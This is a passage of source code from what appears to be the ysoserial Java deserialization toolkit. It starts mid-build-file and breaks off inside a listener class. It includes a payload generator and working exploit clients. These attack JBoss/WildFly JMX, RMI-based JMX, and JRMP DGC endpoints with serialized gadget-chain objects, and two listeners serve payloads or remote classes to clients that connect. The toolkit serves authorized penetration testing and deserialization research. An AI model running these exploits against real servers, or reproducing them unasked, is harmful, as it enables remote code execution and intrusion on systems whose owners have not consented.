y>\n\t\t\t\t\t<groupId>org.mortbay.jasper</groupId>\n\t\t\t\t\t<artifactId>apache-el</artifactId>\n\t\t\t\t\t<version>8.0.27</version>\n\t\t\t\t</dependency>\n\t\t\t</dependencies>\n\t\t</profile>\n\n\t\t<profile>\n\t\t\t<id>juel</id>\n\t\t\t<activation>\n\t\t\t\t<property>\n\t\t\t\t\t<name>el</name>\n\t\t\t\t\t<value>juel</value>\n\t\t\t\t</property>\n\t\t\t</activation>\n\t\t\t<dependencies>\n\t\t\t\t<dependency>\n\t\t\t\t\t<groupId>de.odysseus.juel</groupId>\n\t\t\t\t\t<artifactId>juel-impl</artifactId>\n\t\t\t\t\t<version>2.2.7</version>\n\t\t\t\t</dependency>\n\t\t\t\t<dependency>\n\t\t\t\t\t<groupId>de.odysseus.juel</groupId>\n\t\t\t\t\t<artifactId>juel-api</artifactId>\n\t\t\t\t\t<version>2.2.7</version>\n\t\t\t\t</dependency>\n\t\t\t</dependencies>\n\t\t</profile>\n\n\t</profiles>\n\t<distributionManagement>\n\t\t<repository>\n\t\t\t<id>github</id>\n\t\t\t<name>GitHub Packages</name>\n\t\t\t<url>https://maven.pkg.github.com/frohoff/ysoserial</url>\n\t\t</repository>\n\t</distributionManagement>\t\n</project>\n"
  },
  {
    "path": "src/main/java/ysoserial/Deserializer.java",
    "content": "package ysoserial;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.ObjectInputStream;\nimport java.util.concurrent.Callable;\n\npublic class Deserializer implements Callable<Object> {\n\tprivate final byte[] bytes;\n\n\tpublic Deserializer(byte[] bytes) { this.bytes = bytes; }\n\n\tpublic Object call() throws Exception {\n\t\treturn deserialize(bytes);\n\t}\n\n\tpublic static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {\n\t\tfinal ByteArrayInputStream in = new ByteArrayInputStream(serialized);\n\t\treturn deserialize(in);\n\t}\n\n\tpublic static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {\n\t\tfinal ObjectInputStream objIn = new ObjectInputStream(in);\n\t\treturn objIn.readObject();\n\t}\n\n\tpublic static void main(String[] args) throws ClassNotFoundException, IOException {\n\t\tfinal InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));\n\t\tObject object = deserialize(in);\n\t}\n}"
  },
  {
    "path": "src/main/java/ysoserial/GeneratePayload.java",
    "content": "package ysoserial;\n\nimport java.io.PrintStream;\nimport java.util.*;\n\nimport ysoserial.payloads.ObjectPayload;\nimport ysoserial.payloads.ObjectPayload.Utils;\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\n\n@SuppressWarnings(\"rawtypes\")\npublic class GeneratePayload {\n\tprivate static final int INTERNAL_ERROR_CODE = 70;\n\tprivate static final int USAGE_CODE = 64;\n\n\tpublic static void main(final String[] args) {\n\t\tif (args.length != 2) {\n\t\t\tprintUsage();\n\t\t\tSystem.exit(USAGE_CODE);\n\t\t}\n\t\tfinal String payloadType = args[0];\n\t\tfinal String command = args[1];\n\n\t\tfinal Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);\n\t\tif (payloadClass == null) {\n\t\t\tSystem.err.println(\"Invalid payload type '\" + payloadType + \"'\");\n\t\t\tprintUsage();\n\t\t\tSystem.exit(USAGE_CODE);\n\t\t\treturn; // make null analysis happy\n\t\t}\n\n\t\ttry {\n\t\t\tfinal ObjectPayload payload = payloadClass.newInstance();\n\t\t\tfinal Object object = payload.getObject(command);\n\t\t\tPrintStream out = System.out;\n\t\t\tSerializer.serialize(object, out);\n\t\t\tObjectPayload.Utils.releasePayload(payload, object);\n\t\t} catch (Throwable e) {\n\t\t\tSystem.err.println(\"Error while generating or serializing payload\");\n\t\t\te.printStackTrace();\n\t\t\tSystem.exit(INTERNAL_ERROR_CODE);\n\t\t}\n\t\tSystem.exit(0);\n\t}\n\n\tprivate static void printUsage() {\n\t\tSystem.err.println(\"Y SO SERIAL?\");\n\t\tSystem.err.println(\"Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'\");\n\t\tSystem.err.println(\"  Available payload types:\");\n\n\t\tfinal List<Class<? extends ObjectPayload>> payloadClasses =\n\t\t\tnew ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());\n\t\tCollections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize\n\n        final List<String[]> rows = new LinkedList<String[]>();\n        rows.add(new String[] {\"Payload\", \"Authors\", \"Dependencies\"});\n        rows.add(new String[] {\"-------\", \"-------\", \"------------\"});\n        for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {\n             rows.add(new String[] {\n                payloadClass.getSimpleName(),\n                Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), \", \", \"@\", \"\"),\n                Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),\", \", \"\", \"\")\n            });\n        }\n\n        final List<String> lines = Strings.formatTable(rows);\n\n        for (String line : lines) {\n            System.err.println(\"     \" + line);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/Serializer.java",
    "content": "package ysoserial;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.ObjectOutputStream;\nimport java.io.OutputStream;\nimport java.util.concurrent.Callable;\n\npublic class Serializer implements Callable<byte[]> {\n\tprivate final Object object;\n\tpublic Serializer(Object object) {\n\t\tthis.object = object;\n\t}\n\n\tpublic byte[] call() throws Exception {\n\t\treturn serialize(object);\n\t}\n\n\tpublic static byte[] serialize(final Object obj) throws IOException {\n\t\tfinal ByteArrayOutputStream out = new ByteArrayOutputStream();\n\t\tserialize(obj, out);\n\t\treturn out.toByteArray();\n\t}\n\n\tpublic static void serialize(final Object obj, final OutputStream out) throws IOException {\n\t\tfinal ObjectOutputStream objOut = new ObjectOutputStream(out);\n\t\tobjOut.writeObject(obj);\n\t}\n\n}"
  },
  {
    "path": "src/main/java/ysoserial/Strings.java",
    "content": "package ysoserial;\n\nimport org.apache.commons.lang.StringUtils;\n\nimport java.util.Arrays;\nimport java.util.Comparator;\nimport java.util.LinkedList;\nimport java.util.List;\n\npublic class Strings {\n    public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {\n        final StringBuilder sb = new StringBuilder();\n        boolean first = true;\n        for (String s : strings) {\n            if (! first) sb.append(sep);\n            if (prefix != null) sb.append(prefix);\n            sb.append(s);\n            if (suffix != null) sb.append(suffix);\n            first = false;\n        }\n        return sb.toString();\n    }\n\n    public static String repeat(String str, int num) {\n        final String[] strs = new String[num];\n        Arrays.fill(strs, str);\n        return join(Arrays.asList(strs), \"\", \"\", \"\");\n    }\n\n    public static List<String> formatTable(List<String[]> rows) {\n        final Integer[] maxLengths = new Integer[rows.get(0).length];\n        for (String[] row : rows) {\n            if (maxLengths.length != row.length) throw new IllegalStateException(\"mismatched columns\");\n            for (int i = 0; i < maxLengths.length; i++) {\n                if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {\n                    maxLengths[i] = row[i].length();\n                }\n            }\n        }\n\n        final List<String> lines = new LinkedList<String>();\n        for (String[] row : rows) {\n            for (int i = 0; i < maxLengths.length; i++) {\n                final String pad = repeat(\" \", maxLengths[i] - row[i].length());\n                row[i] = row[i] + pad;\n            }\n            lines.add(join(Arrays.asList(row), \" \", \"\", \"\"));\n        }\n        return lines;\n    }\n\n    public static class ToStringComparator implements Comparator<Object> {\n        public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/exploit/JBoss.java",
    "content": "package ysoserial.exploit;\n\n\nimport java.io.IOException;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.net.InetSocketAddress;\nimport java.net.MalformedURLException;\nimport java.net.SocketAddress;\nimport java.net.URI;\nimport java.security.KeyManagementException;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.NoSuchProviderException;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ThreadFactory;\nimport java.util.concurrent.TimeUnit;\nimport java.util.logging.Handler;\nimport java.util.logging.Level;\nimport java.util.logging.LogManager;\nimport java.util.logging.LogRecord;\nimport java.util.logging.Logger;\n\nimport javax.management.InstanceNotFoundException;\nimport javax.management.IntrospectionException;\nimport javax.management.MBeanInfo;\nimport javax.management.MBeanOperationInfo;\nimport javax.management.MBeanServerConnection;\nimport javax.management.ObjectInstance;\nimport javax.management.ReflectionException;\nimport javax.management.remote.JMXServiceURL;\nimport javax.security.auth.callback.Callback;\nimport javax.security.auth.callback.CallbackHandler;\nimport javax.security.auth.callback.NameCallback;\nimport javax.security.auth.callback.PasswordCallback;\nimport javax.security.auth.callback.UnsupportedCallbackException;\nimport javax.security.sasl.RealmCallback;\n\nimport org.jboss.remoting3.Channel;\nimport org.jboss.remoting3.Connection;\nimport org.jboss.remoting3.Endpoint;\nimport org.jboss.remoting3.OpenListener;\nimport org.jboss.remoting3.Remoting;\nimport org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;\nimport org.jboss.remoting3.spi.ConnectionHandler;\nimport org.jboss.remoting3.spi.ConnectionHandlerContext;\nimport org.jboss.remoting3.spi.ConnectionHandlerFactory;\nimport org.jboss.remoting3.spi.ConnectionProvider;\nimport org.jboss.remoting3.spi.ConnectionProviderContext;\nimport org.jboss.remoting3.spi.RegisteredService;\nimport org.jboss.remotingjmx.VersionedConnection;\nimport org.xnio.FutureResult;\nimport org.xnio.IoFuture;\nimport org.xnio.IoFuture.Status;\nimport org.xnio.OptionMap;\nimport org.xnio.Options;\nimport org.xnio.Xnio;\nimport org.xnio.XnioWorker;\nimport org.xnio.ssl.JsseXnioSsl;\nimport org.xnio.ssl.XnioSsl;\n\nimport ysoserial.payloads.ObjectPayload.Utils;\nimport ysoserial.payloads.util.Reflections;\n\n\n/**\n *\n * An exploitation client for JBoss AS/Wildfly JMX\n *\n * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.\n *\n * This is not as readily exploitable as in other pieces of software:\n * 1. they only allow authenticated access by default\n * 2. they have a very strict module architecture:\n * - all MBeans exported by default use classloaders that expose almost nothing useful\n * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like\n * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\n *\n * This client enumerates all application exported MBean method which are then called\n * delivering the specified payload.\n *\n * I.e. you can succesfully exploit that\n * - you have access to the interface\n *    (username/password can be specified via URL, note: despite not noticeable,\n *    local connections implicitely use authentication)\n * - there is an application exported MBean\n * - that application imports the classes required for the gadget chain\n *\n * @author mbechler\n *\n */\n@SuppressWarnings ( {\n    \"rawtypes\"\n} )\npublic class JBoss {\n\n    public static void main ( String[] args ) {\n\n        if ( args.length < 3 ) {\n            System.err.println(\"Usage \" + JBoss.class.getName() + \" <uri> <payload> <payload_arg>\");\n            System.exit(-1);\n        }\n\n        URI u = URI.create(args[ 0 ]);\n\n        final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);\n\n        String username = null;\n        String password = null;\n        if ( u.getUserInfo() != null ) {\n            int sep = u.getUserInfo().indexOf(':');\n            if ( sep >= 0 ) {\n                username = u.getUserInfo().substring(0, sep);\n                password = u.getUserInfo().substring(sep + 1);\n            }\n            else {\n                System.err.println(\"Need <user>:<password>@\");\n                System.exit(-1);\n            }\n        }\n\n        doRun(u, payloadObject, username, password);\n        Utils.releasePayload(args[1], payloadObject);\n    }\n\n\n    private static void doRun ( URI u, final Object payloadObject, String username, String password ) {\n        ConnectionProvider instance = null;\n        ConnectionProviderContextImpl context = null;\n        ConnectionHandler ch = null;\n        Channel c = null;\n        VersionedConnection vc = null;\n        try {\n            Logger logger = LogManager.getLogManager().getLogger(\"\");\n            logger.addHandler(new ConsoleLogHandler());\n            logger.setLevel(Level.INFO);\n            OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals(\"https\")).getMap();\n            context = new ConnectionProviderContextImpl(options, \"endpoint\");\n            instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);\n            String host = u.getHost();\n            int port = u.getPort() > 0 ? u.getPort() : 9990;\n            SocketAddress destination = new InetSocketAddress(host, port);\n            ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);\n            ch = chf.createInstance(new ConnectionHandlerContextImpl(context));\n            c = getChannel(context, ch, options);\n            System.err.println(\"Connected\");\n            vc = makeVersionedConnection(c);\n            MBeanServerConnection mbc = vc.getMBeanServerConnection(null);\n            doExploit(payloadObject, mbc);\n            System.err.println(\"DONE\");\n        }\n        catch ( Throwable e ) {\n            e.printStackTrace(System.err);\n        }\n        finally {\n            cleanup(instance, context, ch, c, vc);\n        }\n    }\n\n\n\n    private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,\n            VersionedConnection vc ) {\n        if ( vc != null ) {\n            vc.close();\n        }\n\n        if ( c != null ) {\n            try {\n                c.close();\n            }\n            catch ( IOException e ) {\n                e.printStackTrace(System.err);\n            }\n        }\n\n        if ( ch != null ) {\n            try {\n                ch.close();\n            }\n            catch ( IOException e ) {\n                e.printStackTrace(System.err);\n            }\n        }\n        if ( instance != null ) {\n            try {\n                instance.close();\n            }\n            catch ( IOException e ) {\n                e.printStackTrace(System.err);\n            }\n        }\n\n        if ( context != null ) {\n            context.getXnioWorker().shutdown();\n        }\n    }\n\n\n    private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password,\n            ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options )\n                    throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {\n        XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);\n        FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();\n        instance.connect(null, destination, options, result, new CallbackHandler() {\n\n            public void handle ( Callback[] callbacks ) throws IOException, UnsupportedCallbackException {\n\n                for ( Callback cb : callbacks ) {\n\n                    if ( cb instanceof NameCallback ) {\n                        ( (NameCallback) cb ).setName(username);\n                    }\n                    else if ( cb instanceof PasswordCallback ) {\n                        ( (PasswordCallback) cb ).setPassword(password != null ? password.toCharArray() : new char[0]);\n                    }\n                    else if ( !( cb instanceof RealmCallback) ) {\n                        System.err.println(cb);\n                        throw new UnsupportedCallbackException(cb);\n                    }\n                }\n            }\n        }, xnioSsl);\n\n        System.err.println(\"waiting for connection\");\n        IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();\n        Status s = ioFuture.await(5, TimeUnit.SECONDS);\n        if ( s == Status.FAILED ) {\n            System.err.println(\"Cannot connect\");\n            if ( ioFuture.getException() != null ) {\n                ioFuture.getException().printStackTrace(System.err);\n            }\n        }\n        else if ( s != Status.DONE ) {\n            ioFuture.cancel();\n            System.err.println(\"Connect timeout\");\n            System.exit(-1);\n        }\n\n        ConnectionHandlerFactory chf = ioFuture.getInterruptibly();\n        return chf;\n    }\n\n    private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException {\n        Channel c;\n        FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());\n        ch.open(\"jmx\", chResult, options);\n\n        IoFuture<Channel> cFuture = chResult.getIoFuture();\n        Status s2 = cFuture.await();\n        if ( s2 == Status.FAILED ) {\n            System.err.println(\"Cannot connect\");\n            if ( cFuture.getException() != null ) {\n                throw new IOException(\"Connect failed\", cFuture.getException());\n            }\n        }\n        else if ( s2 != Status.DONE ) {\n            cFuture.cancel();\n            throw new IOException(\"Connect timeout\");\n        }\n\n        c = cFuture.get();\n        return c;\n    }\n\n\n    private static VersionedConnection makeVersionedConnection ( Channel c )\n            throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {\n        VersionedConnection vc;\n        Class<?> vcf = Class.forName(\"org.jboss.remotingjmx.VersionedConectionFactory\");\n        Method vcCreate = vcf.getDeclaredMethod(\"createVersionedConnection\", Channel.class, Map.class, JMXServiceURL.class);\n        Reflections.setAccessible(vcCreate);\n        vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL(\"service:jmx:remoting-jmx://\"));\n        return vc;\n    }\n\n\n    private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )\n            throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {\n        Object[] params = new Object[1];\n        params[ 0 ] = payloadObject;\n        System.err.println(\"Querying MBeans\");\n        Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);\n        System.err.println(\"Found \" + testMBeans.size() + \" MBeans\");\n        for ( ObjectInstance oi : testMBeans ) {\n            MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());\n            for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {\n                try {\n                    mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});\n                    System.err.println(oi.getObjectName() + \":\" + opInfo.getName() + \" -> SUCCESS\");\n                    return;\n                }\n                catch ( Throwable e ) {\n                    String msg = e.getMessage();\n                    if ( msg.startsWith(\"java.lang.ClassNotFoundException:\") ) {\n                        int start = msg.indexOf('\"');\n                        int stop = msg.indexOf('\"', start + 1);\n                        String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : \"<unknown>\";\n                        if ( !\"<unknown>\".equals(module) && !\"org.jboss.as.jmx:main\".equals(module) ) {\n                            int cstart = msg.indexOf(':');\n                            int cend = msg.indexOf(' ', cstart + 2);\n                            String cls = msg.substring(cstart + 2, cend);\n                            System.err.println(oi.getObjectName() + \":\" + opInfo.getName() + \" -> FAIL CNFE \" + cls + \" (\" + module + \")\");\n                        }\n                    }\n                    else {\n                        System.err.println(oi.getObjectName() + \":\" + opInfo.getName() + \" -> SUCCESS|ERROR \" + msg);\n                        return;\n                    }\n                }\n            }\n        }\n    }\n\n\n    private static final class ConsoleLogHandler extends Handler {\n\n\n        @Override\n        public void publish ( LogRecord record ) {\n            System.err.println(record.getMessage());\n        }\n\n\n        @Override\n        public void flush () {\n\n        }\n\n\n        @Override\n        public void close () throws SecurityException {}\n    }\n\n    @SuppressWarnings({\"deprecation\"})\n    private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {\n\n        private ConnectionProviderContextImpl context;\n\n\n        public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) {\n            this.context = context;\n        }\n\n\n        public void remoteClosed () {}\n\n\n        public OpenListener getServiceOpenListener ( String serviceType ) {\n            return null;\n        }\n\n\n        public RegisteredService getRegisteredService ( String serviceType ) {\n            return null;\n        }\n\n\n        public ConnectionProviderContext getConnectionProviderContext () {\n            return this.context;\n        }\n\n\n        public Connection getConnection () {\n            return null;\n        }\n    }\n\n\n    private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {\n\n        private XnioWorker worker;\n        private ExecutorService executor;\n        private Xnio instance;\n        private Endpoint endpoint;\n\n\n        public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException {\n            this.instance = Xnio.getInstance();\n\n            this.worker = this.instance.createWorker(opts);\n            this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);\n            this.executor = Executors.newCachedThreadPool(new ThreadFactory() {\n\n                public Thread newThread ( Runnable r ) {\n                    Thread t = new Thread(r, \"Worker\");\n                    t.setDaemon(true);\n                    return t;\n                }\n            });\n        }\n\n\n        public XnioWorker getXnioWorker () {\n            return this.worker;\n        }\n\n\n        public Xnio getXnio () {\n            return this.instance;\n        }\n\n\n        public Executor getExecutor () {\n            return this.executor;\n        }\n\n\n        public Endpoint getEndpoint () {\n            return this.endpoint;\n        }\n\n\n        public void accept ( ConnectionHandlerFactory connectionHandlerFactory ) {\n            System.err.println(\"accept\");\n        }\n\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/exploit/JMXInvokeMBean.java",
    "content": "package ysoserial.exploit;\n\nimport javax.management.MBeanServerConnection;\nimport javax.management.ObjectName;\nimport javax.management.remote.JMXConnector;\nimport javax.management.remote.JMXConnectorFactory;\nimport javax.management.remote.JMXServiceURL;\n\nimport ysoserial.payloads.ObjectPayload.Utils;\n\n/*\n * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.\n * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.\n * \n */\npublic class JMXInvokeMBean {\n\n\tpublic static void main(String[] args) throws Exception {\n\t\n\t\tif ( args.length < 4 ) {\n\t\t\tSystem.err.println(JMXInvokeMBean.class.getName() + \" <host> <port> <payload_type> <payload_arg>\");\n\t\t\tSystem.exit(-1);\n\t\t}\n    \t\n\t\tJMXServiceURL url = new JMXServiceURL(\"service:jmx:rmi:///jndi/rmi://\" + args[0] + \":\" + args[1] + \"/jmxrmi\");\n        \n\t\tJMXConnector jmxConnector = JMXConnectorFactory.connect(url);\n\t\tMBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();\n\n\t\t// create the payload\n\t\tObject payloadObject = Utils.makePayloadObject(args[2], args[3]);   \n\t\tObjectName mbeanName = new ObjectName(\"java.util.logging:type=Logging\");\n\n\t\tmbeanServerConnection.invoke(mbeanName, \"getLoggerLevel\", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});\n\n\t\t//close the connection\n\t\tjmxConnector.close();\n    }\n}"
  },
  {
    "path": "src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java",
    "content": "package ysoserial.exploit;\n\n\n\nimport java.net.URL;\n\n\n/**\n * JRMP listener triggering RMI remote classloading\n * \n * Opens up an JRMP listener that will deliver a remote classpath class to the calling client.\n * \n * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need\n * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}.\n * \n * This only works if\n * - the remote end is running with a security manager\n * - java.rmi.server.useCodebaseOnly=false (default until 7u21) \n * - the remote has the proper permissions to remotely load the class (mostly URLPermission)\n * \n * and, of course, the payload class is then run under the security manager with a remote codebase\n * so either the policy needs to allow whatever you want to do in the payload or you need to combine\n * with a security manager bypass exploit (wouldn't be the first time).\n * \n * @author mbechler\n *\n */\npublic class JRMPClassLoadingListener {\n\n    public static final void main ( final String[] args ) {\n\n        if ( args.length < 3 ) {\n            System.err.println(JRMPClassLoadingListener.class.getName() + \" <port> <url> <className>\");\n            System.exit(-1);\n            return;\n        }\n\n        try {\n            int port = Integer.parseInt(args[ 0 ]);\n            System.err.println(\"* Opening JRMP listener on \" + port);\n            JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));\n            c.run();\n        }\n        catch ( Exception e ) {\n            System.err.println(\"Listener error\");\n            e.printStackTrace(System.err);\n        }\n    }   \n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/exploit/JRMPClient.java",
    "content": "package ysoserial.exploit;\n\n\nimport java.io.DataOutputStream;\nimport java.io.IOException;\nimport java.io.ObjectOutputStream;\nimport java.io.OutputStream;\nimport java.net.InetSocketAddress;\nimport java.net.Socket;\nimport java.net.SocketException;\nimport java.net.URL;\nimport java.net.URLClassLoader;\nimport java.net.UnknownHostException;\n\nimport javax.net.SocketFactory;\n\nimport sun.rmi.transport.TransportConstants;\nimport ysoserial.payloads.ObjectPayload.Utils;\n\n\n/**\n * Generic JRMP client\n * \n * Pretty much the same thing as {@link RMIRegistryExploit} but \n * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)\n * - not deserializing anything (so you don't get yourself exploited ;))\n * \n * @author mbechler\n *\n */\n@SuppressWarnings ( {\n    \"restriction\"\n} )\npublic class JRMPClient {\n\n    public static final void main ( final String[] args ) {\n        if ( args.length < 4 ) {\n            System.err.println(JRMPClient.class.getName() + \" <host> <port> <payload_type> <payload_arg>\");\n            System.exit(-1);\n        }\n\n        Object payloadObject = Utils.makePayloadObject(args[2], args[3]);\n        String hostname = args[ 0 ];\n        int port = Integer.parseInt(args[ 1 ]);\n        try {\n            System.err.println(String.format(\"* Opening JRMP socket %s:%d\", hostname, port));\n            makeDGCCall(hostname, port, payloadObject);\n        }\n        catch ( Exception e ) {\n            e.printStackTrace(System.err);\n        }\n        Utils.releasePayload(args[2], payloadObject);\n    }\n\n    public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {\n        InetSocketAddress isa = new InetSocketAddress(hostname, port);\n        Socket s = null;\n        DataOutputStream dos = null;\n        try {\n            s = SocketFactory.getDefault().createSocket(hostname, port);\n            s.setKeepAlive(true);\n            s.setTcpNoDelay(true);\n\n            OutputStream os = s.getOutputStream();\n            dos = new DataOutputStream(os);\n\n            dos.writeInt(TransportConstants.Magic);\n            dos.writeShort(TransportConstants.Version);\n            dos.writeByte(TransportConstants.SingleOpProtocol);\n\n            dos.write(TransportConstants.Call);\n\n            @SuppressWarnings ( \"resource\" )\n            final ObjectOutputStream objOut = new MarshalOutputStream(dos);\n\n            objOut.writeLong(2); // DGC\n            objOut.writeInt(0);\n            objOut.writeLong(0);\n            objOut.writeShort(0);\n\n            objOut.writeInt(1); // dirty\n            objOut.writeLong(-669196253586618813L);\n            \n            objOut.writeObject(payloadObject);\n\n            os.flush();\n        }\n        finally {\n            if ( dos != null ) {\n                dos.close();\n            }\n            if ( s != null ) {\n                s.close();\n            }\n        }\n    }\n\n    static final class MarshalOutputStream extends ObjectOutputStream {\n        \n        \n        private URL sendUrl;\n\n        public MarshalOutputStream (OutputStream out, URL u) throws IOException {\n            super(out);\n            this.sendUrl = u;\n        }\n\n        MarshalOutputStream ( OutputStream out ) throws IOException {\n            super(out);\n        }\n\n        @Override\n        protected void annotateClass ( Class<?> cl ) throws IOException {\n            if ( this.sendUrl != null ) {\n                writeObject(this.sendUrl.toString());\n            } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {\n                writeObject(null);\n            }\n            else {\n                URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();\n                String cb = \"\";\n                \n                for ( URL u : us ) {\n                    cb += u.toString();\n                }\n                writeObject(cb);\n            }\n        }\n\n\n        /**\n         * Serializes a location from which to load the specified class.\n         */\n        @Override\n        protected void annotateProxyClass ( Class<?> cl ) throws IOException {\n            annotateClass(cl);\n        }\n    }\n\n \n}\n"
  },
  {
    "path": "src/main/java/ysoserial/exploit/JRMPListener.java",
    "content": "package ysoserial.exploit;\n\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\nimport java.io.DataInputStream;\nimport java.io.DataOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.io.ObjectStreamClass;\nimport java.io.OutputStream;\nimport java.io.Serializable;\nimport java.net.InetSocketAddress;\nimport java.net.ServerSocket;\nimport java.net.Socket;\nimport java.net.SocketException;\nimport java.net.URL;\nimport java.rmi.MarshalException;\nimport java.rmi.server.ObjID;\nimport java.rmi.server.UID;\nimport java.util.Arrays;\n\nimport javax.management.BadAttributeValueExpException;\nimport javax.net.ServerSocketFactory;\n\nimport javassist.ClassClassPath;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport sun.rmi.transport.TransportConstants;\nimport ysoserial.payloads.ObjectPayload.Utils;\nimport ysoserial.payloads.util.Reflections;\n\n\n/**\n * Generic JRMP listener\n *\n * Opens up an JRMP listener that will deliver the specified payload to any\n * client connecting to it and making a call.\n *\n * @author mbechler\n *\n */\n@SuppressWarnings ( {\n    \"restriction\"\n} )\npublic class JRMPListener implements Runnable {\n\n    private int port;\n    private Object payloadObject;\n    private ServerSocket ss;\n    private Object waitLock = new Object();\n    private boolean exit;\n    private boolean hadConnection;\n    private URL classpathUrl;\n\n\n    public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {\n        this.port = port;\n        this.payloadObject = payloadObject;\n        this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);\n    }\n\n    public JRMPListener (int port, String className, URL classpathUrl) throws IOException {\n        this.port = port;\n        this.payloadObject = makeDummyObject(className);\n        this.classpathUrl = classpathUrl;\n        this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);\n    }\n\n\n    public boolean waitFor ( int i ) {\n        try {\n            if ( this.hadConnection ) {\n                return true;\n            }\n            System.err.println(\"Waiting for connection\");\n            synchronized ( this.waitLock ) {\n                this.waitLock.wait(i);\n            }\n            return this.hadConnection;\n        }\n        catch ( InterruptedException e ) {\n            return false;\n        }\n    }\n\n\n    /**\n     *\n     */\n    public void close () {\n        this.exit = true;\n        try {\n            this.ss.close();\n        }\n        catch ( IOException e ) {}\n        synchronized ( this.waitLock ) {\n            this.waitLock.notify();\n        }\n    }\n\n\n    public static final void main ( final String[] args ) {\n\n        if ( args.length < 3 ) {\n            System.err.println(JRMPListener.class.getName() + \" <port> <payload_type> <payload_arg>\");\n            System.exit(-1);\n            return;\n        }\n\n        final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);\n\n        try {\n            int port = Integer.parseInt(args[ 0 ]);\n            System.err.println(\"* Opening JRMP listener on \" + port);\n            JRMPListener c = new JRMPListener(port, payloadObject);\n            c.run();\n        }\n        catch ( Exception e ) {\n            System.err.println(\"Listener error\");\n            e.printStackTrace(System.err);\n        }\n        Utils.releasePayload(args[1], payloadObject);\n    }\n\n\n    public void run () {\n        try {\n            Socket s = null;\n            try {\n                while ( !this.exit && ( s = this.ss.accept() ) != null ) {\n                    try {\n                        s.setSoTimeout(5000);\n                        InetSocketAddress remote = (InetSocketAddress) 